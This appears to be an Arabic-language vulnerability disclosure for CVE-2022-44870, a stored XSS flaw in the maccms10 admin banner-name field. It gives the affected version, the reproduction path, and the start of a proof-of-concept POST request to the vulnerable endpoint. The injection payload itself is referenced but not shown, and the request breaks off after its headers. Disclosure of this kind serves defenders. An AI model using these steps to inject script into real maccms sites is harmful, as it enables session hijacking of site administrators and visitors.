CVE-2022-44870

maccms admin+ هجمات XSS

نظرة عامة

معلومات موقع الشركة المصنعة: https://maccms.pro

عنوان تحميل الكود المصدري: https://github.com/maccmspro/maccms10.git

1. الإصدار المتأثر: V2021.1000.2000

   

2. تفاصيل الثغرة

https://github.com/maccmspro/maccms10/issues/23

انتقل إلى الخلفية، ثم انتقل إلى الأساسيات > إدارة الإعلانات > الاسم،

أدخل payload1 في مربع الاسم:

قد يتسبب في هجمات XSS.

اسم الثغرة: XSS من نوع التخزين

مستوى الثغرة: خطر متوسط

موقع الثغرة: إدارة الإعلانات --> الاسم

أدخل في cat_title

http://127.0.0.1/admin.php/admin/banner/infocat.html

3. إعادة إظهار الثغرات و POC

POST /admin.php/admin/banner/infocat.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 65

Origin: http://192.168.52.163